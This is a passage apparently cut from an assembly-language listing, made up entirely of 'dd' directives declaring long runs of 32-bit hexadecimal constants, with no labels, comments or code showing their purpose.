0F7E230B5h, 9CFA7899h, 6894A51Fh dd 0EC86A84Ah, 5CE41404h, 65266880h, 0BEF61652h, 0AC9C8832h dd 0F35C8F1Dh, 7C01D012h, 3AF0EF4Ah, 991A1824h, 11EA81BCh dd 2D3FDC4Dh, 0B13213BCh, 0F616E802h, 705AD7h, 5A05B562h dd 0EE7D967Eh, 0CE605277h, 2B3E2D71h, 0F7A300EAh, 0D1B59BA6h dd 0FE01618Fh, 6BA91F23h, 9187A4DFh, 43B33289h, 40E08F1Ah dd 5D041FBEh, 0E0D765A6h, 495FE0A9h, 4C98D830h, 9E072413h dd 0E2E5B38Ch, 6DAD02D0h, 173E04DEh, 0C8B60A48h, 0A9014A20h dd 0E6718AB3h, 89C4CC1Bh, 8F3E1222h, 8AE0113h, 60A82839h dd 2124AF5Ch, 6D404CB8h, 0EE57E82Ch, 76A80084h, 0EADFF24h dd 0C1021769h, 6DA7628Bh, 5DD4007h, 0C071DE96h, 0DEB6467Dh dd 3A000F16h, 0FD68327Bh, 18447A93h, 0E830E823h, 8E268022h dd 2645EC04h, 0E6D60780h, 0DC1C058Bh, 4114052Ch, 0E4D7EB94h dd 1599BF8Ch, 29D0D477h, 7100BC04h, 4C866F38h, 0DEF00005h dd 50FC7A92h, 1C020B62h, 0AC011FCFh, 4446A3h, 0AFC4D723h dd 3C89D13h, 755C7A74h, 0F8C38CBh, 0CB364025h, 44C80B70h dd 0EFAE1C00h, 6CEC005Eh, 47DD2DADh, 0D3F5E40Fh, 0F26AA288h dd 14F4DAD5h, 0AC0EEB60h, 0B21A1607h, 38E479BFh, 62045C42h dd 4788BDB9h, 0C7D00763h, 3E9D5A04h, 578130CDh, 78A634B2h dd 2A1BC02Bh, 0F20459B0h, 25BEE5E6h, 0B87EB4B0h, 86802960h dd 0BB4D838Ch, 2EC8ED90h, 0F703A7BFh, 8B5276A4h, 8E6022Dh dd 20332642h, 0F2C3F0C0h, 0D828D14Fh, 0E9070384h, 0AB5FB048h dd 6F9A57A0h, 0F83E062Ch, 0E719B401h, 703CA7EFh, 0B20F3FC3h dd 11C9D1E0h, 0D69DC702h, 0F9B00AA8h, 2A1EB0h, 50DE4AA7h dd 95003005h, 727708C1h, 17B879D9h, 0E62D3Dh, 0D2812058h dd 909E17D7h, 291DB0A4h, 10EC5E22h, 0F9C0F054h, 0F2A41C6Ah dd 507BD8ECh, 0A8B9880Fh, 0E0A7AF24h, 74C20599h, 5F86005Ah dd 0F4B1B0EEh, 7B00934Ch, 0DD9AE4DBh, 0F67084h, 0EAE04762h dd 7DFCB40Fh, 649E54B9h, 33CB611Eh, 8BCC987Ch, 0E429003Eh dd 0ABC10539h, 0E800DAD2h, 0F1E98CEBh, 96E7B504h, 456B4008h dd 7300919Ch, 54D426BAh, 0E6D2F7h, 0E552EA5Ah, 2E6EBE97h dd 100F8C2Fh, 18E2F5D8h, 63C2704h, 340541D9h, 0E30F8B7Dh dd 202888h, 9637F0CBh, 3E39C6A6h, 9C00FEFEh, 29EDAC4Bh dd 0E892FD0Eh, 3AE40062h, 0E5391009h, 8B0BC4B3h, 4A80FF71h dd 59856108h, 3CE453D4h, 86015297h, 40C81ECh, 671E813Bh dd 0E1A819EFh, 65A196h, 3B05B4C0h, 933AEE78h, 0C8CBA6ABh dd 90E3894Fh, 1A505A68h, 4035E2CAh, 4740C471h, 0E6496FF1h dd 0C96E1297h, 0C078030Eh, 0B5A02E5Ah, 0B703F51Fh, 5CA6C06h dd 0C6E0F813h, 0DC783B31h, 3DFB8882h, 0A05AE304h, 4D895701h dd 0ED1238Eh, 12EA1C20h, 0B20FC505h, 248B03FCh, 0C00B7864h dd 67E9D8h, 0D7998822h, 0ED11306Bh, 4D40FC9Ch, 18FED85Dh dd 9CA9F7F4h, 33050F37h, 2F36EF2h, 24BF6404h, 0B0FCCB4h dd 6257BE32h, 0D11778C4h, 0D82773D7h, 90D2AA90h, 6493973Ah dd 6DC6C8A0h, 3E99C13Ah, 0C04BB086h, 3C80EA22h, 0DC12FBB8h dd 8578883Eh, 0CB508B07h, 0C9605BAAh, 6292122h, 6CDCA439h dd 0D72C29A5h, 5C93872h, 0A8D0AC04h, 2EB63E5h, 0D764A9E4h dd 0C464F3FEh, 22DA6C22h, 363D9805h, 0F41D8E70h, 58780077h dd 58288C6Dh, 21C2E4D2h, 0A680AB15h, 0BEC46418h, 7C493360h dd 2FAD2D03h, 0A884354Ah, 80A0C54Ch, 810113F3h, 785F000h dd 985A3C5Dh, 5327443h, 61667F95h, 0D8B8041Fh, 0C8814BCBh dd 0FADB320h, 590EAEB5h, 2107C0FCh, 2251A8Fh, 0A4814711h dd 0FAAC050h, 80AB24F1h, 1155EC60h, 4A00CD79h, 0EBC707E5h dd 1C2FB65Ah, 80CEC61Dh, 0D0F96423h, 0C1091396h, 5822FC39h dd 2AD1668h, 5018D0B6h, 5B000FE7h, 45CBAFA6h, 15847931h dd 404422D6h, 5DEE081Fh, 0F3097BACh, 0C07D1C7h, 88BD957Dh dd 0E7003FCCh, 784DF576h, 85234Eh, 0ED19E55Bh, 25B499BCh dd 0EC1DA874h, 0D64F2C5h, 4827BF1Ch, 3CA3400h, 0B2E5C6F1h dd 47A03DA9h, 0EB0AA192h, 0C428BE3Bh, 0C5813848h, 0D0F5F488h dd 5CD109CDh, 666EDC4h, 57C49042h, 40C50A8h, 417F97CCh dd 6FA701C8h, 0D32A9B8Bh, 0F195FC38h, 60BC1400h, 7ABD51C5h dd 0E6193832h, 0BADD5B8Fh, 0B424D0B2h, 0A800C755h, 2C4282D1h dd 0EB7D02h, 0FA3D6A21h, 0BE795205h, 0C16E8309h, 8248492h dd 4CA08A4Fh, 0E549AC07h, 696F7426h, 10803309h, 5A3E888h dd 0C3B5B8BEh, 68D402D6h, 94872E92h, 6848394Ch, 760071C4h dd 0F90CB41Dh, 0F159EECh, 0ED160AC6h, 0A9B84B47h, 0C31F34D1h dd 0D90097EEh, 836CCF93h, 58D63C07h, 3B849E80h, 9D59475Fh dd 23B5441Eh, 9B3A93FBh, 0D88E9C4Eh, 2729F88h, 94C92662h dd 70406622h, 59743EA0h, 73058970h, 0D5F4D816h, 6470BB09h dd 53A500BCh, 5EC151C3h, 1B79E933h, 8360B700h, 111A5409h dd 0BCAD2DF3h, 0E3147820h, 0BA027E2Fh, 0DBC32A8Eh, 415A60F3h dd 4C0325AEh, 79184890h, 4F401600h, 39FC1F21h, 5AC577B7h dd 0ED5C2069h, 0CC0128ECh, 0E86F2BB9h, 906329ACh, 2AD13D74h dd 797B0681h, 933B9A97h, 0ACB2A11Eh, 0CE000D3Fh, 0B0C559CAh dd 2A7E4A9Ch, 0F890F050h, 18F32B00h, 0AD860CC7h, 0CF24DFBh dd 2CC9BC25h, 0B81EF8FEh, 0FB36380Ch, 98DE2005h, 0FCBE2E9Ch dd 280649B8h, 0C7F0D975h, 2A15425h, 2BF4D1ECh, 563E3400h dd 58B50294h, 0F3430286h, 3F3270A4h, 3007E479h, 890091FDh dd 16E4DFE1h, 309C6167h, 0B7350930h, 0C1FB200h, 0A3AEC549h dd 4C6CFAE1h, 0B93DD4B4h, 0D200305Ch, 628D1A84h, 5A093BCCh dd 0C49923AFh, 0F8BA0050h, 0A5F7AC9Ch, 0B71F076Fh, 48E5CE22h dd 1246D8h, 423F62C3h, 345A767Fh, 8FFF4900h, 0F0CA6FEFh dd 8EC5895h, 552B322h, 0D53F00DCh, 0B928202Ch, 4C150079h dd 3BE2D89Fh, 0EF59D1ACh, 0E56D0300h, 0A06A5B18h, 46FFF4Fh dd 0D73F1124h, 0E2408819h, 3B0584B1h, 0D4C0E5C0h, 30DFCC69h dd 7FD8D7C1h, 88BE68DEh, 0B8F12A43h, 8AEA1Dh, 0C2D64889h dd 0D3D4ACC1h, 9E3B1B00h, 0BE2C327Ch, 1477C27h, 60EFE5F5h dd 6C25DC6Fh, 0E63C8360h, 5E1E821h, 8A7E48F6h, 2587CB3Ah dd 4B62CC5h, 85E4B8A8h, 1080183Bh, 827DDB03h, 3600D071h dd 0FA082F04h, 0D2E5020Fh, 819DE8ACh, 383C807Ah, 79AE80D0h dd 1BC394B8h, 0D99C001Ch, 8780030Bh, 2D0E22F9h, 8E054F90h dd 2193E478h, 70290E2h, 12799186h, 76CE2440h, 9F96C33Ch dd 0FBBBBB8h, 0C9588603h, 38BC984Eh, 2E210182h, 5DC0E11Dh dd 0EF02FF6h, 0A1EC02BBh dd 9B58D079h, 9A01C4F9h, 916A8A4h, 0B09074h, 2D26F429h dd 5B3AEB15h, 0EC82B728h, 1DD6A214h, 0D713021Ch, 41DA33F9h dd 0B3C43F80h, 5FCB1F03h, 47E6C78Bh, 0FC90C005h, 97099417h dd 0D17C63DCh, 945045Ch, 2D0B9B6h, 3D648936h, 83FC0E3h dd 16CB0061h, 7295013h, 38168D26h, 0F4C89651h, 0FA6300C9h dd 982521F0h, 0AB1E7A01h, 0BE843F3Bh, 0E883B9CFh, 0BF52891Ah dd 93EC71FEh, 0ACB2BBh, 91E5C140h, 0B0F3B51h, 0BE619EFDh dd 4481064h, 9ABC054h, 0F8919h, 687F4A2Ch, 0C6A5043Dh dd 58C47500h, 6AC2BEAEh, 4FB894FDh, 0EF064400h, 0A300B2E2h dd 0B9FBF266h, 3D07DEh, 2DDD378Ah, 3B9EEB92h, 0E501ECBBh dd 0BD5C879Ah, 18B37840h, 25E309A9h, 8F00F52Fh, 0C36F3098h dd 957E0F00h, 5BFCF8A8h, 0BF793E41h, 66ACED09h, 0B0A9F898h dd 7636DA0Fh, 0FEF3E0B2h, 0E88B927h, 3B09F8CEh, 93A86044h dd 0C0F32C44h, 7520D6BAh, 0FD3337h, 0F6D7F5F9h, 13B5A2D0h dd 0D58B1C12h, 5EC5E482h, 0C2DD00DCh, 0C75CF29Ch, 0DA11A8B9h dd 0A606A500h, 726296B9h, 6800E970h, 0BACBD041h, 0F1085EA7h dd 5C2980C1h, 69DA5100h, 61B6C3DFh, 1744CE00h, 3543AA3Bh dd 0E888005Bh, 4783AE9h, 801231FAh, 5023BD3Fh, 1CE3E8C1h dd 87D89152h, 700975C5h, 0C4BBD1C2h, 0E499E717h, 80657408h dd 520F2903h, 805C3A55h, 4FB380B0h, 0BC78A28h, 42B2C11Dh dd 9AB7B400h, 0B43FA534h, 6F12F1CCh, 0FCF3B1BEh, 0D6579B01h dd 2DB7F2A6h, 882500DCh, 0FBD15954h, 0CDF32D5Dh, 0A800C0CCh dd 6EC8024Dh, 5AE4B23Dh, 14BDACE3h, 80C88032h, 1EA17F35h dd 0FD791CB3h, 0BAE66Ch, 592C4184h, 949525BEh, 0B6AA00B8h dd 9162D780h, 5F319DE1h, 0EAA480DBh, 0BCE5D0h, 34D9CF3Bh dd 9F6ABB78h, 1095DAF0h, 71C9478h, 0D949FC7Dh, 0D034639Ch dd 26E8E5D0h, 0C6E4A82Dh, 0F2BB131Ch, 5CE3D6h, 6EEB79B6h dd 276B5607h, 34E818D7h, 244C16E6h, 31AD0084h, 0CC783B30h dd 8B13CDDh, 246004A7h, 0E701A4F6h, 9A3246Eh, 384819A8h dd 14E401CCh, 96C98252h, 3BF84880h, 1B427A12h, 92CDF701h dd 4F700DB3h, 0F7C201BCh, 0D4F273EDh, 10A9A7C6h, 0F4B37830h dd 0E6D2007Eh, 0FFA98F69h, 94023319h, 35527725h, 96270010h dd 2435BF3Dh, 84B8D1F4h, 83D55687h, 15B11123h, 80642C20h dd 0EB497A05h, 6250049Dh, 0C00AA35Bh, 202B874Ch, 4E41270h dd 0A8083B24h, 0CC2CBB02h, 8E44E1E6h, 0F690FD10h, 1244363Ch dd 18C80F3Ah, 0A3CB001Eh, 2849BBD2h, 0ACA3D5A1h, 6CE013DAh dd 0F0906F27h, 0C731DC0Fh, 4BFF2062h, 5E84A7F8h, 12A420CAh dd 313DE51Eh, 1560010Bh, 9DDCBB91h, 0DA91EFD3h, 2C78C0EDh dd 0A5A80C80h, 0B600E6F8h, 2A79FDBEh, 0E6FDF1Eh, 0D0AE32B7h dd 6490B809h, 0BDB0C58Eh, 0D3C4700h, 695EA4FFh, 0A6910553h dd 0B73381F5h, 26D23DC4h, 60007983h, 0FDC17163h, 1809482h dd 0D7EF7696h, 5C226AE4h, 3E245281h, 0D900DD39h, 5D138C59h dd 6B60800Eh, 2A25838h, 59A2426h, 890C00ADh, 0C4D2995Ah dd 402520C0h, 0FC0FC76Bh, 17A31786h, 180C04E6h, 0ECAC4056h dd 386F67F4h, 5B05FAA9h, 0CC49DF80h, 8509B1F8h, 884F9Dh dd 0BE31F257h, 0C83B4E2Eh, 6F00E650h, 3419CB8h, 0F24BC9F3h dd 75920EEFh, 6E00563Fh, 6F19530Eh, 0E50D1700h, 0E9021A05h dd 361E1DA8h, 0D0F1C0F3h, 6F487566h, 0F22C8C00h, 1DAB53DDh dd 0A8F300FEh, 501F028Ah, 0B560095Dh, 0CEB2F811h, 0A021FCB1h dd 1B3E4EAh, 457682C3h, 0C89711EFh, 8830C24Ch, 0D1E93018h dd 59AD0033h, 246A96ACh, 6507374Ah, 31807DFBh, 3AD364D0h dd 506078Fh, 20A77530h, 4453F8EBh, 0B15A1301h, 2152D6C1h dd 0BA44A3FEh, 5E70B839h, 35C0044h, 0AEA4E7EBh, 0B705FBC9h dd 0B07A9B3Bh, 899186EAh, 151F187Dh, 0AA400ACAh, 851AE00Fh dd 0EE4B3Eh, 156A6D92h, 8F54E2FAh, 0D8F3CD94h, 0A70C1247h dd 192030DBh, 0ED0D01CEh, 54048890h, 7A8FC806h, 1E0CD4Ch dd 0E408A949h, 7987079Eh, 9D681E69h, 6C6ED4B4h, 0BD2B1D00h dd 7D4B3497h, 0E749002Eh, 57EDDD68h, 39C0D489h, 0E5F288FEh dd 51D6007Ch, 10F2C19h, 571422C8h, 84E6A8h, 0D1CE5A62h dd 28C59CAFh, 0ED8EA3h, 0D5805FECh, 5003AA76h, 2F8CD73h dd 703059CAh, 38B87100h, 1549289h, 8208166Bh, 91D51E8Ah dd 280278F1h, 10C8AA94h, 43042C60h, 4F70E200h, 0FEB722B4h dd 0C0D30002h, 1C61441Dh, 0C8289E20h, 0CE016488h, 0B6BA8D45h dd 570AE89h, 0C36A00B9h, 0E081D367h, 0D48CAC0h, 98C0834h dd 3C9A4EAh, 6A557B4Eh, 375892F0h, 7303E60Dh, 0BD859D1h dd 30A0DE7Fh, 2752F8C0h, 0BCA18CA8h, 1B008EE2h, 0A51CC946h dd 301DE4B8h, 1F61FD82h, 0C126613Ah, 8103E38Eh, 0D290CBCh dd 358EA48h, 0D80FD159h, 0CC004449h, 96322E90h, 0C028B8h dd 0B10E862h, 0F34071B4h, 905FB715h, 12F90098h, 0A6953B6h dd 0A071C0C2h, 7A18BBCBh, 4FA6E00h, 0E1829DABh, 0C8263828h dd 0D73909D8h, 0CC9B0600h, 0C19A73F7h, 21879F2h, 16910111h dd 25E81F70h, 0F9A3004Ah, 7431D86Fh, 5A0979C0h, 767B9119h dd 0A38310Bh, 0F5EF41D0h, 958980FFh, 0C157E2A7h, 0B7FA1h dd 5681BA97h, 0F2EB14A3h, 0DC9E52h, 52C6A7Bh, 0EF50Bh dd 4A931490h, 50EAE84Bh, 0A9B1100h, 1DC9B0C3h, 1FE54429h dd 0FBA45300h, 0AB21BFA7h, 11D47ED3h, 0DD880Bh, 0BCCFA420h dd 0FCFDA2h, 62454766h, 95A4BB7h, 3949B960h, 965764h, 3DD2772h dd 3FA58998h, 0F4B57403h, 0A2D41122h, 0D38CA07Dh, 0EC0F2334h dd 73302AD9h, 0D4FC88h, 32F0552Bh, 33AF664h, 89B97F37h dd 0F0291066h, 531C0059h, 63A0867Bh, 4305080Ah, 89BD85ACh dd 74F71800h, 0A9F059h, 1DD7822Eh, 9983F10h, 0F4F0A3Ah dd 26CA1193h, 795979E2h, 4EEAB6h, 0F25C663Dh, 0B785626Eh dd 0B0D348h, 71617A5Eh, 0FA132608h, 0AA5324CFh, 1A068060h dd 0B14043D2h, 545D8900h, 0C016F971h, 9830F102h, 0F5E5E4Ch dd 1080ABBCh, 63BFF211h, 1D6A0300h, 9CE7ACBh, 17BA00D3h dd 501CFAF1h, 0B0910AA8h, 552FEE00h, 0FC5FC8h, 3CF9EF6h dd 73D48107h, 1BE08D0Eh, 0E1CCC1C1h, 0AC225318h, 5C87D33Ah dd 404B6634h, 4C5A20ECh, 0AB10A090h, 0FB18BBBDh, 0C973B0E1h dd 9BF8661Ch, 5880F84h, 1D176CC8h, 80D0F25Dh, 37761AF0h dd 0DA00A6F1h, 2B9FBF3Fh, 2AB60DA8h, 2A48E3Bh, 2F5830D4h dd 0D8A00657h, 0E1E283EEh, 0BD732700h, 99FD1B19h, 0D78102FBh dd 58BE75Bh, 680379C0h, 9A79AC67h, 0CEC7C8C0h, 21DA000Bh dd 6618D206h, 0D3008746h, 406549A5h, 26A6C001h, 64346B03h dd 9C8220F3h, 0A7D43BB8h, 20F42AFEh, 0FC092A8Ch, 0C8EC01ACh dd 35F6547h, 5022F5h, 11E4873Ah, 455EB760h, 0D848838Dh dd 887D5929h, 300307CDh, 0E079A970h, 61C0AE53h, 13EF1165h dd 0DF50096h, 0DE307033h, 0B900FB0Bh, 0D8CCF2A0h, 1D549750h dd 622798h, 0F12C0AA4h, 372C1066h, 78C02C5Ah, 0E76782h dd 0BCFCAEDFh, 0EC550534h, 0C06009E6h, 3F6BF5C9h, 0F68E0026h dd 1F42B49Dh, 3A0243D3h, 6039AAC3h, 0D69440CFh, 28D0E89Ah dd 24D4E3D9h, 7080C49h, 40BF21B1h, 0C67B5480h, 0CF0D24Ch dd 890F3403h, 48B930h, 6BDDE48Eh, 0F500642Eh, 0B3B890C9h dd 1DB1B6Eh dd 5AE9191Eh, 0D2EA0CBAh, 62B56440h, 9F28EE2Eh, 691E111Eh dd 0F889DA00h, 24AD838h, 64B030BDh, 2C6080B4h, 372903A4h dd 0E509E8D7h, 0A5D08772h, 48ABAACEh, 0B51F1B11h, 0C07FDEFh dd 65C0966Ah, 3FD58017h, 0CC03FA82h, 2CB7EC5Bh, 0EA310777h dd 3021F9E8h, 0EB9E2691h, 83B7F113h, 88014424h, 0F38C0E78h dd 0B0545FC0h, 1049E718h, 0C8A2C3F8h, 0ACA0AD90h, 0BDA7E009h dd 3C341071h, 25C32C7Fh, 831403BCh, 0AA88EBFh, 0A100EE34h dd 467195A5h, 822B9Ah, 1C50EBD4h, 6DB57F3Ah, 9168D963h dd 22C0CE1Dh, 0B3A7455h, 0A8B3B8DCh, 0B21F98F6h, 20EB09h dd 57E93819h, 0B0C15244h, 487DB937h, 0D988850h, 2CB9A1h dd 0BAA82063h, 9A24DA79h, 8104296Ch, 4B847898h, 380790C4h dd 614C2A1Dh, 0F6D418FBh, 0A754117Eh, 3CB6302h, 0C8BEF9AEh dd 4CC085D4h, 0BBC0AC32h, 6A4784B6h, 0A46EDA00h, 4BCD6D62h dd 5C0A50C7h, 9FCF005Dh, 0BE15A5CEh, 0AD01E8F1h, 3E0770BFh dd 0D822FF1Dh, 34F80079h, 52BE094Ch, 0B883E6AFh, 1CB92D63h dd 0C0D49636h, 8BC3F3FEh, 0D60460E3h, 0D5552E13h, 287B4C0h dd 39B2630Bh, 5900010Ah, 3F1F4EF8h, 3F32DB9h, 0ED19997Ah dd 210FE80Ah, 718D58h, 0C3BB86CCh, 15997E98h, 44C139C2h dd 0C61A2007h, 587AB078h, 0B7000176h, 19230D94h, 124A9DCEh dd 80893FEh, 2881D7ACh, 3AB7B66Dh, 8F2E3436h, 63FA60FCh dd 30C0E19h, 39D0A116h, 0C5B400F1h, 9F512DBEh, 0E8005610h dd 68EBF5A7h, 3BFA7150h, 0DC961EC3h, 8D542052h, 0CA04CC96h dd 6FE851C7h, 45A10800h, 0D54C7DF8h, 2EDC2268h, 80641C30h dd 7CD1B4D0h, 0F9000D7Ah, 2138ED83h, 3E6745h, 27E389F8h dd 87DFB71h, 0EB180403h, 1203887Ah, 0F07749h, 0BE2AFA09h dd 650151DAh, 0CC9ACF7Eh, 882F260h, 0D05024C1h, 0EAE148C0h dd 432668F6h, 90647008h, 0C380E5C5h, 0E5C12Ah, 0FFBFF5DBh dd 5FA98467h, 0D39A0503h, 88F93239h, 4882B6C3h, 0E898F875h dd 0C00603Eh, 84EE2F1Fh, 0B00D4B11h, 123493BFh, 7C6007C1h dd 0CDD49140h, 0D150E077h, 2807489Bh, 289CFBCFh, 0C868016Ch dd 4166EC07h, 19C2EF1Eh, 11F8CB2Eh, 60220AC4h, 2BF94B00h dd 0E3F295E5h, 2A5AFF00h, 0EFA60366h, 9B541FA2h, 0A8CCAC99h dd 807616DCh, 50B0040Bh, 9FE24073h, 90D2F944h, 0A74100BCh dd 0F89983A0h, 5F3CEC73h, 5D818C8Ch, 0FE05852h, 88E3D31Dh dd 0A5C82016h, 95009380h, 511E6702h, 0E20F3FB7h, 288464A7h dd 0E519407Bh, 167F7D97h, 0F80F5681h, 6A61469h, 3DD701A4h dd 0FB1AE96Ah, 2428D449h, 0B30BA580h, 8D00B991h, 77B8B104h dd 90D8F09Ch, 307829C4h, 55E781D0h, 0D037509Eh, 0F425E29Ah dd 14E090BFh, 0BEE30003h, 7657C850h, 0F6077EA0h, 527BB261h dd 0F98C28Fh, 386431h, 0A738DCF7h, 0D24A3C0Ah, 90CB5912h dd 0CEE1D802h, 0B4EC41CFh, 8FFD3810h, 366FDB01h, 4452097Bh dd 0C7D1DD21h, 0E057A9D9h, 7E503F20h, 6FBB003Dh, 0F207AAB4h dd 6A347A08h, 70C0D0E7h, 32B7F5B3h, 52894350h, 0E70304C4h dd 8F91906Ah, 0EA51982Bh, 0A9B1DCBh, 625772h, 0D253A7C0h dd 7A00A437h, 5EDA80AFh, 0C0FE096Dh, 2C96E6A9h, 4F0C7391h dd 19C30AADh, 646A001Eh, 12BAB1D6h, 0D70027D2h, 5A9FF64Ah dd 7AD176Dh, 0FA6CF548h, 18A41124h, 8E3030AEh, 0A875E12h dd 6720B0D0h, 0D01F0066h, 0BDC5869Bh, 0CC79C4A9h, 1D6A530Ch dd 7F6CB0F9h, 0A7191B27h, 0E1F339F0h, 83F282F9h, 86241F11h dd 0CA84E532h, 844A8020h, 0AFF901BBh, 56BFC434h, 2B8706Ch dd 1614718Ah, 0BAE0072h, 4679BE12h, 1AC9900h, 2A97111Dh dd 0F3411DE2h, 0E79B0044h, 522BC250h, 644FBA04h, 4E453F1h dd 0F6E0F813h, 3A42000Dh, 7C7F3909h, 0EB48E73Ch, 208486Eh dd 9EF17847h, 4E584806h, 4B340096h, 1DF563CBh, 7B001E7Dh dd 0C2BBF6E5h, 18AB4ABEh, 310189F7h, 7C004F4Dh, 4CC49A7Dh dd 2C95127h, 0AC623F22h, 646211ECh, 0C4052859h, 8200596Fh dd 0A4F33A6Ah, 7E67D39h, 0D24528FCh, 1643400Ah, 0EB001211h dd 84C8E03Ah, 45FED03h, 0D6AE62B8h, 0E2B68280h, 0E5009C44h dd 0A0D7386Ch, 58889817h, 2800701Ch, 0B1AB8D61h, 0E0A01608h dd 34FDF1D8h, 430671B0h, 0DE898AEDh, 0AF2500C9h, 7FC64B6Fh dd 4E023430h, 0D4068F27h, 89D87111h, 988F051Fh, 0EBCE1E11h dd 0F8217E12h, 99807231h, 0B6DF4A0Eh, 0F0BE622h, 1009EAC6h dd 3DA25B4h, 0E076E538h, 0A0776D5Dh, 270011FCh, 1E69790Bh dd 7E3813Bh, 0B6EE8715h, 1018A95Fh, 4C0183EAh, 8BEB2E5Bh dd 9F2096FAh, 0ABC700BBh, 1C7FD96Ah, 0A6021189h, 0E8EECDB5h dd 9E2EE029h, 811900D1h, 8537E9BEh, 70262860h, 803FF808h dd 0A88DA2Fh, 301868DFh, 0F0F006D0h, 0AB88B709h, 0D8980056h dd 0CBF2DBC4h, 0E9F418F5h, 1C896509h, 0AE881082h, 0D00F0285h dd 6378A438h, 108EDCE1h, 27B0CCD4h, 9C10E1C3h, 2A070596h dd 7E9933F2h, 34497B50h, 1EBA00F5h, 3AFB0393h, 9F050BD1h dd 0F8EB648Ah, 0AF504C87h, 73F9DBh, 54A13169h, 16FCE2A4h dd 0D99EBCB1h, 123DD2C0h, 7C18C6ACh, 9FCE001Dh, 832CB99h dd 45005E52h, 0A7D3B1FFh, 5B1CB779h, 692441A0h, 0E8617B42h dd 8F2D3524h, 0A10A089h, 176548Dh, 0B7F3D14Fh, 0C9A6BDDDh dd 2565F055h, 0E10BAD00h, 8E73604Eh, 531B2568h, 4566ACA0h dd 8F10D386h, 9382B7h, 7F28BE50h, 0CB02CE0Dh, 0D904D172h dd 9CD253h, 0CDE25B5Fh, 7250F044h, 0E8B57300h, 0EE4E388Bh dd 8CCB079Dh, 0BC861DF2h, 589809C1h, 363CDA13h, 21BC7809h dd 0ED20C190h, 9C05E0E4h, 967240E0h, 0F12F6F8h, 0BC0FE279h dd 8428D736h, 347AADh, 0EB87A2B2h, 4846D54Fh, 423ABD02h dd 4102C00Ch, 94E024B4h, 8F213BF8h, 0E2F7C200h, 0D9AEB75Ch dd 0A845B0B8h, 4B69CDD8h, 77684088h, 9ED247E8h, 0F998AD00h dd 8895721Bh, 0C7A71F26h, 8BF54492h, 54E36Dh, 25AF5A30h dd 99B06B9h, 0D6BE0F8h, 0D872CC05h, 0D800716Ch, 707AA85Fh dd 71945DE3h, 0F41D2DD3h, 2ECDB018h, 0CB9AC31Fh, 80500444h dd 0A5BAFB01h, 7C329Eh, 0B1FCEB78h, 0E6951665h, 21DD0055h dd 0E4BDBE27h, 8099A06h, 683AB757h, 0BCA01DB8h, 0A7CF6050h dd 83002EBFh, 0BCCD659h, 0CA2BD0h, 9DAC51D8h, 6DB25ACDh dd 7D034A16h, 9031CCD2h, 303396C4h, 9ABCB3A2h, 26007E8Bh dd 0A6715F4Eh, 290AE66Bh, 0B9DC9DC5h, 2098F980h, 606CB515h dd 2B910302h, 41A1713Bh, 0CC144344h, 11010FF8h, 31778C9Ah dd 0E043335Fh, 0A8893957h, 9E8197h, 5FE17AE5h, 0BE18A75Dh dd 6C212130h, 0F5DA1CC8h, 4D12C0D6h, 4840F4E6h, 0BA077001h dd 0E47D7865h, 0B0020h, 0C3902DA6h, 637C3A17h, 325033B8h dd 76673F90h, 0B9709551h, 1F757A94h, 0FEBEA1Eh, 9CB8C53h dd 0E8B96490h, 0FDCD171Ch, 22A16E80h, 2560AE5Ah, 1C203140h dd 1CE41E8Ch, 823FC900h, 0FB611723h, 3810B5Fh, 0D4640E34h dd 0AC4CAE4Bh, 0D361B6h, 6487C70Ch, 5F52F3D7h, 730B0673h dd 44B33C15h, 5E7054h, 4601F6B8h, 957DAAACh, 9812D198h dd 0C052B56h, 44808953h, 0EC8E3DE3h, 0C4118905h, 96011773h dd 0F478597Ch, 2DC03D1Fh, 0C0DB00A4h, 778108F5h, 60169921h dd 38203062h, 1D038F79h, 0C87D1A14h, 0FF60059Dh, 0B52641h dd 1A129181h, 54EAC0F8h dd 0C1569B0Fh, 1761C271h, 7D9460E8h, 0D38300A3h, 40B5BEBDh dd 0CF00DDD4h, 44774B1Ah, 1B3FBEAh, 0D3274D7Ah, 9DB6B8EBh dd 0BE404058h, 8F20DB0Fh, 6500072h, 5633133Eh, 0B707BB7Eh dd 0E837B9B1h, 0ED6ADB91h, 85B53080h, 5546A352h, 1A1C2400h dd 0DD7AC7B9h, 92AB0371h, 0C66AFD8Bh, 32C0BBD3h, 4B4C165Fh dd 0D5716061h, 0F63AC8h, 8B1980F5h, 4A3B5C6Ah, 61C044E8h dd 4E45E19Dh, 0E5D40CBAh, 8C195155h, 8E9C5Ch, 37E8B718h dd 1EB027E3h, 0AFBB82h, 74BDFC7Ah, 133C3CC5h, 26630780h dd 418C54ADh, 741E00B2h, 0DDEA961Ah, 0FF01C3B9h, 476ED222h dd 0A180BE44h, 0E86BBAEBh, 39C0356Ah, 0C89AB74Ah, 265052Ch dd 81564777h, 0D94B190Eh, 54398C98h, 0F8631F0h, 127E6052h dd 33EC8381h, 855C437h, 74C48901h, 0B20E9F58h, 8CBC3880h dd 0DC86E226h, 6FD12C00h, 5D8FB1D6h, 56450043h, 0B0BBE8DEh dd 2705DCB5h, 0FA7A8826h, 7146EC00h, 5AD36438h, 7328A049h dd 37060FF8h, 0B5B98602h, 47540360h, 0CB76C3CFh, 7D2E3F80h dd 9F4CFB0Fh, 1C8FE0E8h, 13EA74h, 5ED7357Eh, 0D4FB473Eh dd 0D98EB630h, 14287Dh, 0D2556361h, 7B01701Fh, 830A3603h dd 0FAB20439h, 0E444152h, 1DAE270h, 9597F973h, 80BF8060h dd 0ADF0E489h, 2A4A6EFh, 0DF18AB96h, 14C05AB7h, 0BF151DACh dd 0A0523Ch, 3D798DC1h, 16C67541h, 3873DBh, 0C536F102h dd 0EF0072B9h, 89C0CACCh, 0C3E955FEh, 50C4CE39h, 144C52E8h dd 3854AB3Bh, 0C01709F6h, 0FF7C01C5h, 0A8DC4F1Ch, 91460344h dd 3F34BF30h, 26724100h, 0DDB03C80h, 0EAE63B35h, 0D49CAAh dd 0B53605E7h, 89B31D55h, 0B63D9007h, 0EE96E6A7h, 87513A41h dd 7DA0CA00h, 0C6940F03h, 5B193Bh, 13029A0Ah, 248312E3h dd 80D4BBC4h, 0EA4FCE38h, 94AAC13Fh, 0A7F6A403h, 8DDF65D0h dd 6084BB00h, 0C0451B01h, 1A5A00AFh, 3DDD6CECh, 0C2F463AAh dd 37177E00h, 74339035h, 4ED73462h, 2D00AE61h, 6A313DEh dd 0D8EA1CFFh, 0C0925C9Eh, 647B67CEh, 0F601E13Ch, 30EEBBA4h dd 0FC50B6B5h, 1C106FC3h, 800362B9h, 17BB8156h, 416148BFh dd 500E0CF1h, 